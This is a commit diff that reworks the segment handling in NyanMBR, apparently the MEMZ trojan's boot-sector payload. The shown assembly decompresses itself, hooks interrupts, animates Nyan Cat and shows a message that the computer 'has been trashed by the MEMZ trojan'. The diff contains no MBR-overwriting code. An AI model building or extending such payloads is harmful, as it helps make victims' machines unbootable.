Merge pull request #30 from Mintz98/master

i added segmentation, now the code can be 64K

NyanMBR/Source/Stage1/decompress.asm

@@ -1,28 +1,33 @@
 start:
-	xor bx, bx
+	; Dump compressed data to segment 1000:0000 instead
+	mov bx, 0x1000
 	mov es, bx
-	mov ds, bx
 	
 	; Read from disk
 	mov ax, 0x0208
 	mov cx, 0x0002
 	mov dh, 0
-	mov bx, compressed
+	xor bx, bx      ; (ip: address 0)
 	int 13h
 	
+	; Source segment DS (1000:0000)
+	push es
+	pop ds
+	; Target 2000:0000 segment for uncompressed data
+	mov ax, 0x2000
+	mov es, ax
+	
 	xor ax, ax
 	mov bx, ax
 	mov cx, ax
 	mov dx, ax
-
+	mov di, ax	
-	mov si, compressed
+	mov si, ax
-	mov di, decompressed
-	jmp readcommand
 
 readcommand:
 	lodsb
 	
-	cmp si, compressed+compsize
+	cmp si, compsize
 	jae exit
 	
 	cmp al, 128
@@ -50,20 +55,23 @@ olddata:
 	mov bx, ax
 	lodsb
 	
+	push ds
+	
+    push 0x2000
+    pop ds
+	
 	mov dx, si
 	mov si, bx
-	add si, decompressed
+	mov cl, al	
-	mov cl, al
 	
 	oldnextbyte:
 		lodsb
 		stosb
 		
-		dec cl
+		loop oldnextbyte
-		cmp cl, 0
-		jne oldnextbyte
 		
 		mov si, dx
+		pop ds
 		jmp readcommand
 
-exit:
+exit:

NyanMBR/Source/Stage1/main.asm

@@ -1,11 +1,28 @@
 use16
 org 0x7c00
 
-compressed:   equ 0x7e00
+;setup cpu
-decompressed: equ 0x8E00
+
+;correct cs
+jmp 0x0000:correct_cs
+correct_cs:
+
+; setup stack properly
+cli
+xor ax, ax
+mov ss, ax
+mov sp, 0x7BF0
+sti
 
 %include "decompress.asm" ; Decompress Code & Data
-jmp decompressed          ; Jump to the decompressed Data, booting the actual Kernel
+
+; Prepare the CPU segments
+
+mov ax, 0x2000
+mov ds, ax
+mov es, ax
+
+jmp 0x2000:0x0000         ; Jump to the decompressed Data, booting the actual "Kernel"
 
 ; Boot sector signature
 times 510 - ($ - $$) db 0
@@ -17,4 +34,4 @@ compsize: equ $-comp
 
 ; Align it to sectors
 ;align 512
-times 4096 - ($ - $$) db 0
+times 4096 - ($ - $$) db 0

NyanMBR/Source/Stage2/Animation/Image/drawIntroFrame.asm

@@ -1,6 +1,10 @@
 drawIntroFrame:
+    push es
+    push 0xb800
+    pop es
+    
 	; Increase the frame tick counter to make the intro run faster
-	mov byte [cs:frameTickCounter], 5
+	mov byte [frameTickCounter], 5
 
 	; Check if message is already fully displayed
 	cmp si, messageLength
@@ -9,12 +13,14 @@ drawIntroFrame:
 	mov di, si
 	imul di, 2
 
-	mov byte al, [cs:si+message]
+	mov byte al, [si+message]
 
 	mov byte [es:di], al
 	mov byte [es:di+1], 0xf0
 
 	inc si
-	mov [cs:frameIndex], si
+	mov [frameIndex], si
 	
-	.end: ret
+	.end:
+	    pop es
+	    ret

NyanMBR/Source/Stage2/Animation/Image/drawNormalFrame.asm

@@ -1,5 +1,9 @@
 drawNormalFrame:
-	mov ax, [cs:nyanTimeBin]
+	push es
+	push 0xb800
+	pop es
+	
+	mov ax, [nyanTimeBin]
 	mov dx, 0
 	mov bx, 10
 	div bx
@@ -21,6 +25,8 @@ drawNormalFrame:
 			inc di
 		loop .draw
 		
-		mov [cs:frameIndex], si
+		mov [frameIndex], si
 		
-	.end: ret
+	.end:
+	    pop es
+	    ret

NyanMBR/Source/Stage2/Animation/Image/initDrawing.asm

@@ -1,5 +1,10 @@
 initDrawing:
-	setVideoMemory
+
+	; Set the extra segment to video memory
+	push es
+	push 0xb800
+	pop es
+	
 	mov di, 0
 	
 	mov ax, 0x00DC
@@ -16,5 +21,7 @@ initDrawing:
 	mov al, 0xDC
 	mov cx, frameSize - nyanTimeVideoStart/2 - nyanTimeStringLen
 	rep stosw
+	
+	pop es
 		
-	ret
+	ret

NyanMBR/Source/Stage2/Animation/countNyan.asm

@@ -5,9 +5,14 @@ nyanTimeVideoStart: equ 3840
 nyanTimeBin dw 0
 
 countNyan:
-	setVideoMemory
+	; Set the extra segment to video memory
+	push es
+	push 0xb800
+	pop es
+	
+	mov di, 0
 
-	inc word [cs:nyanTimeBin]
+	inc word [nyanTimeBin]
 	
 	mov bx, nyanTimeStringLen*2
 	
@@ -34,4 +39,6 @@ countNyan:
 		cmp bx, 0
 		jne .loop
 	
-	.end: ret
+	.end:
+	    pop es
+	    ret

NyanMBR/Source/Stage2/Animation/displayFrame.asm

@@ -4,15 +4,16 @@ frameSize:  equ (80*50) / 2 ; Raw binary size of a frame
 lastFrame:  equ special
 
 displayFrame:
-	setVideoMemory
+	; Set the extra segment to video memory
+	push es
+	push 0xb800
+	pop es
+	
+	mov di, 0
 
-	; Set data section
+	mov si, [frameIndex]
-	mov cx, 0
-	mov ds, cx
 
-	mov si, [cs:frameIndex]
+	cmp word [soundIndex], lastIntroNote
-
-	cmp word [cs:soundIndex], lastIntroNote
 	ja .normalFrame
 	jne .introFrame
 
@@ -37,12 +38,14 @@ displayFrame:
 		call drawNormalFrame
 	
 	; Reset frame index when the last frame has been reached
-	cmp word [cs:frameIndex], lastFrame
+	cmp word [frameIndex], lastFrame
 	jb .end
-	mov word [cs:frameIndex], frames
+	mov word [frameIndex], frames
 
-	.end: ret
+	.end:
+	    pop es
+	    ret
 
 %include "Animation/Image/initDrawing.asm"
 %include "Animation/Image/drawIntroFrame.asm"
-%include "Animation/Image/drawNormalFrame.asm"
+%include "Animation/Image/drawNormalFrame.asm"

NyanMBR/Source/Stage2/Animation/playNote.asm

@@ -5,11 +5,8 @@ soundIndex dw song
 soundWait  db 0
 
 playNote:
-	; Set Data section
-	mov cx, 0
-	mov ds, cx
 
-	mov si, [cs:soundIndex]
+	mov si, [soundIndex]
 
 	cmp si, lastNote
 	jb .nextNote
@@ -18,8 +15,8 @@ playNote:
 	mov si, lastIntroNote
 
 	.nextNote:
-	dec byte [cs:soundWait]
+	dec byte [soundWait]
-	cmp byte [cs:soundWait], -1
+	cmp byte [soundWait], -1
 	jne .end
 
 	lodsw
@@ -32,8 +29,8 @@ playNote:
 	out 0x42, al
 
 	shr ch, 5
-	mov [cs:soundWait], ch
+	mov [soundWait], ch
 
-	mov [cs:soundIndex], si
+	mov [soundIndex], si
 
-	.end: ret
+	.end: ret

NyanMBR/Source/Stage2/Interrupts/keyboardHandler.asm

@@ -14,4 +14,4 @@ keyboardHandler:
 	
 	onKey 0x1F, speedUp ; Speed up the main timer when S is pressed
 	
-	finishInterrupt
+	finishInterrupt

NyanMBR/Source/Stage2/Interrupts/timerHandler.asm

@@ -17,8 +17,8 @@ nyanTickCounter  db 0
 timerHandler:
 	startInterrupt
 	
-	onTimer [cs:frameTickCounter],  8, displayFrame
+	onTimer [frameTickCounter],  8, displayFrame
-	onTimer [cs:noteTickCounter],  12, playNote
+	onTimer [noteTickCounter],  12, playNote
-	onTimer [cs:nyanTickCounter],  10, countNyan
+	onTimer [nyanTickCounter],  10, countNyan
 	
-	finishInterrupt
+	finishInterrupt

NyanMBR/Source/Stage2/Setup/setup.asm

@@ -7,9 +7,6 @@ mov ax, 0x1003
 mov bl, 0
 int 10h
 
-; Put the stack somewhere safe
-mov sp, 0x2000
-
 ; Setup the main timer
 %include "Setup/setupTimer.asm"
 
@@ -20,4 +17,4 @@ mov sp, 0x2000
 %include "Setup/setupSpeaker.asm"
 
 ; Setup the screen and Nyan Counter
-call initDrawing
+call initDrawing

NyanMBR/Source/Stage2/Utils/macros.asm

@@ -13,16 +13,13 @@
 
 %macro setupInterrupt 2
 	; Set the right segments
-	mov bx, 0x0000
+	push ds
-	mov es, bx
+	push 0x0000
+	pop ds
 	
 	; Register the handler
-	mov word [es:(%1+8)*4], %2  ; Interrupt Handler
+	mov word [(%1+8)*4], %2  ; Interrupt Handler
-	mov word [es:(%1+8)*4+2], 0 ; Segment 0x0000
+	mov word [(%1+8)*4+2], 0x2000 ; Segment 0x2000
-%endmacro
+	
-
+	pop ds
-%macro setVideoMemory 0
-	; Set the extra segment to video memory
-	mov cx, 0xb800
-	mov es, cx
 %endmacro

NyanMBR/Source/Stage2/Utils/timer.asm

@@ -3,7 +3,7 @@ currentClock dw defaultClock
 
 ; Updates the current timer value
 setTimer:
-	mov ax, [cs:currentClock]
+	mov ax, [currentClock]
 	out 0x40, al
 	mov al, ah
 	out 0x40, al
@@ -20,7 +20,7 @@ clockDiv     equ 3
 
 ; Speeds up the current timer
 speedUp:
-	mov ax, [cs:currentClock]
+	mov ax, [currentClock]
 	
 	mov bx, clockPreMul
 	mul bx
@@ -35,7 +35,7 @@ speedUp:
 	mov ax, minClock
 	
 	.resetTimer:
-		mov [cs:currentClock], ax
+		mov [currentClock], ax
 		call setTimer
 	
-	ret
+	ret

NyanMBR/Source/Stage2/main.asm

@@ -1,13 +1,14 @@
 ; This is where the program starts after decompression
 
 use16
-org 0x8E00
+org 0
 
 %include "Utils/macros.asm"
 %include "Setup/setup.asm"
 
 ; Everything should be already set up, so the only
 ; thing we need to do here is to wait for interrupts
+
 haltLoop:
 	hlt
 	jmp haltLoop
@@ -41,4 +42,4 @@ song:        incbin "../../Build/song.bin"
 songLength:  equ $-song
 
 message:       db "Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat..."
-messageLength: equ $-message
+messageLength: equ $-message